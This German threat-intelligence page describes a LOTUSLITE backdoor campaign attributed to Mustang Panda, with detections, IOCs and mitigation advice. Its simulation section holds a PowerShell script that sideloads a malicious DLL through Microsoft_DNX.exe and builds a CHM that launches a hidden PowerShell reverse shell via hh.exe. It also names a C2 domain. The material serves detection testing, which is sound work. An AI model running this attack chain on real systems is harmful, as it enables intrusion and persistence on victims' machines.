Gleicher Datenverkehr, andere Magie: Mustang Panda trifft Indiens Bankensektor und Koreas Geopolitik
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Die Acronis Threat Research Unit entdeckte eine neue Variante des LOTUSLITE-Backdoor, die auf Organisationen im indischen Bankensektor und Einzelpersonen im Zusammenhang mit südkoreanischen diplomatischen Angelegenheiten abzielt. Die Malware wird durch DLL-Sideloading bereitgestellt und verlässt sich auf eine von Microsoft signierte legitime ausführbare Datei, um eine bösartige Bibliothek zu laden, die dann über HTTPS mit einem dynamischen DNS-basierten Command-and-Control Server kommuniziert. Basierend auf Infrastrukturmustern und Überschneidungen im Handwerk ordneten Forscher die Aktivität mit moderater Zuversicht Mustang Panda zu.
Untersuchung
Analysten untersuchten eine bösartige CHM-Datei, einen JavaScript-basierten Loader und eine signierte Microsoft_DNX.exe Binärdatei, die eine DLL mit der LOTUSLITE-Nutzlast sideloadete. Ihre Analyse zeigte Aktualisierungen in exportierten Funktionen, Mutex-Namenskonventionen, Befehlszeilenschaltern, Paket-Magie-Werten und Methoden zur API-Auflösung. Das Team verband die Operation auch mit früheren Mustang Panda-Kampagnen durch wiederverwendete Domains mit Dynu-Verwaltung und zugeordneter IP-Infrastruktur.
Minderung
Verteidiger sollten verhindern, dass unautorisierte DLLs in vertrauenswürdige von Microsoft signierte ausführbare Dateien geladen werden, sollten nach den identifizierten Mutex-Mustern und modifizierten Befehlszeilenargumenten überwachen und strenge Kontrollen um den dynamischen DNS-Verkehr anwenden. Sicherheitsteams sollten auch den charakteristischen Paket-Magie-Wert 0xB2EBCFDF erkennen und auf verdächtige HKCU Run-Schlüssel-Modifikationen achten, die auf Persistenz hinweisen könnten.
Reaktion
Wenn diese Aktivität erkannt wird, isolieren Sie das betroffene System sofort, beenden Sie den schädlichen Prozess und entfernen Sie sowohl die sideloadete DLL als auch die missbrauchte ausführbare Datei von der Festplatte. Der Arbeitsspeicher sollte für forensische Analysen erfasst werden, gefährdete Anmeldeinformationen sollten widerrufen werden, und die identifizierten Command-and-Control-Domenen und IP-Adressen sollten blockiert werden. Eine umfassendere Jagd über die Umgebung hinweg sollte auch nach den mit der Kampagne verbundenen Mutex- und Registry-basierten Persistenz-Artefakten durchgeführt werden.
"graph TB %% Class definitions section classDef action fill:#99ccff classDef file fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff classDef persistence fill:#ccffcc %% Nodes action_initial_access["<b>Action</b> – <b>T1566.001 Spearphishing Attachment</b><br/>Malicious Compiled HTML Help (CHM) file sent via email."] class action_initial_access action file_chm["<b>File</b> – <b>Name</b>: Request_for_Support.chm<br/><b>Type</b>: Compiled HTML Help"] class file_chm file action_user_execution["<b>Action</b> – <b>T1204.002 User Execution</b><br/>Victim opens the CHM, triggering embedded JavaScript."] class action_user_execution action action_obfuscation["<b>Action</b> – <b>T1027 Obfuscated Files or Information</b><br/>JavaScript drops a Microsoftu2011signed executable and a malicious DLL using ActiveX and hidden HTML."] class action_obfuscation action file_ms_dnx["<b>File</b> – <b>Name</b>: Microsoft_DNX.exe<br/><b>Signature</b>: Microsoft signed"] class file_ms_dnx file file_lotuslite["<b>Malware</b> – <b>Name</b>: LotusLite variant DLL<br/><b>Type</b>: Dynamic Link Library"] class file_lotuslite malware action_embedded_payloads["<b>Action</b> – <b>T1027.009 Embedded Payloads</b><br/>CHM contains JavaScript (music.js) that extracts and runs the DLL and EXE."] class action_embedded_payloads action action_system_binary_proxy["<b>Action</b> – <b>T1218 System Binary Proxy Execution</b><br/>Microsoft_DNX.exe proxies execution of the malicious DLL via LoadLibraryExW."] class action_system_binary_proxy action action_trusted_dev_utilities["<b>Action</b> – <b>T1127 Trusted Developer Utilities Proxy Execution</b><br/>Abuse of Microsoft_DNX.exe, a trusted .NET runtime tool, to run the backdoor."] class action_trusted_dev_utilities action action_script_proxy["<b>Action</b> – <b>T1216 System Script Proxy Execution</b><br/>Embedded JavaScript acts as a script proxy to launch the executable."] class action_script_proxy action action_hijack_execution["<b>Action</b> – <b>T1574.005 Hijack Execution Flow</b><br/>DLL sideloading by placing malicious DLL with the same name in the executableu2019s directory."] class action_hijack_execution action action_persistence["<b>Action</b> – <b>T1547.014 Boot or Logon Autostart Execution</b><br/>Active Setup writes a Run key under HKCUSoftwareMicrosoftWindowsCurrentVersionRun."] class action_persistence persistence command_and_control["<b>Command and Control</b><br/>Implant contacts dynamicu2011DNS domain editor.gleeze.com over HTTPS."] class command_and_control process %% Connections showing attack flow action_initial_access –>|delivers| file_chm file_chm –>|opened by victim| action_user_execution action_user_execution –>|triggers| action_obfuscation action_obfuscation –>|drops| file_ms_dnx action_obfuscation –>|drops| file_lotuslite file_ms_dnx –>|used in| action_system_binary_proxy file_ms_dnx –>|used in| action_trusted_dev_utilities action_system_binary_proxy –>|loads| file_lotuslite action_trusted_dev_utilities –>|executes| file_lotuslite action_user_execution –>|executes| action_script_proxy action_script_proxy –>|launches| file_ms_dnx action_obfuscation –>|enables| action_embedded_payloads action_embedded_payloads –>|provides| action_hijack_execution action_hijack_execution –>|facilitates| action_persistence action_persistence –>|establishes| command_and_control "
Angriffsfluss
Erkennungen
Verdächtige Dateien im öffentlichen Benutzerprofil (über file_event)
Anzeigen
Mögliche Persistenzpunkte [ASEPs – Software/NTUSER Hive] (über registry_event)
Anzeigen
Verdächtige Ausführung aus dem öffentlichen Benutzerprofil (über process_creation)
Anzeigen
IOCs (HashSha256) zum Erkennen: Gleiches Paket, andere Magie: Mustang Panda trifft den indischen Bankensektor und die Geopolitik Koreas
Anzeigen
IOCs (SourceIP) zum Erkennen: Gleiches Paket, andere Magie: Mustang Panda trifft den indischen Bankensektor und die Geopolitik Koreas
Anzeigen
IOCs (DestinationIP) zum Erkennen: Gleiches Paket, andere Magie: Mustang Panda trifft den indischen Bankensektor und die Geopolitik Koreas
Anzeigen
Erkennung der LOTUSLITE Backdoor C2-Kommunikation [Windows Netzwerkverbindung]
Anzeigen
Erkennung der LOTUSLITE-Backdoor über Microsoft DNX und HH.exe [Windows Process Creation]
Anzeigen
Simulationsdurchführung
Voraussetzung: Die Telemetrie- & Baseline-Vorabprüfung muss bestanden sein.
Begründung: Dieser Abschnitt beschreibt die genaue Durchführung der Adversary Technique (TTP), die zur Auslösung der Erkennungsregel konzipiert ist. Die Befehle und Erzählung MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, genau die Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird.
-
Angriffserzählung & Befehle:
-
Bösartige DLL inszenieren:
- Der Angreifer kopiert eine bösartige DLL (
lotuslite.dll) in dasselbe Verzeichnis wie das legitimeMicrosoft_DNX.exe. Diese DLL enthält die Backdoor-Nutzlast.
- Der Angreifer kopiert eine bösartige DLL (
-
DLL-Sideloading via Microsoft_DNX.exe ausführen:
- Durch Starten von
Microsoft_DNX.exeohne Argumente lädt Windows die bösartige DLL zuerst (aufgrund der „search order“-Entführung), die die Backdoor ausführt.
- Durch Starten von
-
Bösartige CHM erstellen:
- Eine CHM-Datei (
evil.chm) wird erstellt, die JavaScript enthält, das beim Rendern eine PowerShell-Reverse-Shell startet.
- Eine CHM-Datei (
-
JavaScript über hh.exe auslösen:
- Der Angreifer führt
hh.exe evil.chmaus, wodurch die HTML Help ausführbare Datei die CHM analysiert und das eingebettete Skript ausführt, um eine Codeausführung unter einem signierten Binärprogramm zu erreichen.
- Der Angreifer führt
Diese Sequenz erzeugt zwei eindeutige Sysmon-Prozesserstellungsereignisse, die den Bedingungen der Erkennungsregel entsprechen.
-
-
Regressionstestskript:
# ------------------------------------------------------------------------- # LotusLite-Simulation – DLL-Sideloading + hh.exe CHM-Ausführung # ------------------------------------------------------------------------- # Voraussetzungen: # - Sysmon installiert und Protokolle weiterleitend. # - Administratorrechte (erforderlich zum Schreiben in die Programmdateien). $dnxPath = "$env:ProgramFilesMicrosoftMicrosoft_DNX.exe" $dnxDir = Split-Path $dnxPath -Parent # 1. Bösartige DLL bereitstellen (simulierte Nutzlast) $malDllSource = "C:Templotuslite.dll" # <-- ersetzen durch den echten Nutzlastpfad $malDllDest = Join-Path $dnxDir "lotuslite.dll" Copy-Item -Path $malDllSource -Destination $malDllDest -Force # 2. Starten Sie Microsoft_DNX.exe, um DLL-Sideloading auszulösen Write-Host "[*] Starte Microsoft_DNX.exe für DLL-Sideloading..." Start-Process -FilePath $dnxPath -WindowStyle Hidden # 3. Bösartige CHM erstellen, die JavaScript enthält (vereinfachtes Beispiel) $chmPath = "C:Tempevil.chm" $htmlContent = @" <HTML><HEAD> <SCRIPT language=`"JScript`"> var shell = new ActiveXObject("WScript.Shell"); shell.Run("powershell -nop -w hidden -EncodedCommand <base64-rev-shell>", 0); </SCRIPT> </HEAD><BODY></BODY></HTML> "@ $tempHtml = "C:Tempevil.html" $htmlContent | Out-File -FilePath $tempHtml -Encoding ASCII # Verwenden Sie makecab, um das HTML in einem CHM zu verpacken (erfordert Windows SDK-Tools) $makeCab = "$env:WINDIRsystem32makecab.exe" & $makeCab /D "CompressionType=MSZIP" $tempHtml $chmPath # 4. Ausführen des CHM über hh.exe Write-Host "[*] Starte hh.exe mit bösartiger CHM..." Start-Process -FilePath "$env:SystemRootSystem32hh.exe" -ArgumentList $chmPath -WindowStyle Hidden # Bereinigen temporäre Dateien (bösartige DLL für nachlaufende Analyse behalten) Remove-Item $tempHtml -Force Write-Host "[*] Simulation komplett." -
Bereinigungskommandos:
# ------------------------------------------------------------------------- # Bereinigung für LotusLite-Simulation # ------------------------------------------------------------------------- $dnxPath = "$env:ProgramFilesMicrosoftMicrosoft_DNX.exe" $dnxDir = Split-Path $dnxPath -Parent $malDllDest = Join-Path $dnxDir "lotuslite.dll" $chmPath = "C:Tempevil.chm" # Bösartige DLL entfernen if (Test-Path $malDllDest) { Remove-Item $malDllDest -Force Write-Host "[*] Bösartige DLL entfernt." } # CHM entfernen if (Test-Path $chmPath) { Remove-Item $chmPath -Force Write-Host "[*] Bösartige CHM entfernt." } # Optional verbleibende Prozesse beenden (falls vorhanden) Get-Process -Name "Microsoft_DNX","hh" -ErrorAction SilentlyContinue | Stop-Process -Force Write-Host "[*] Bereinigung abgeschlossen."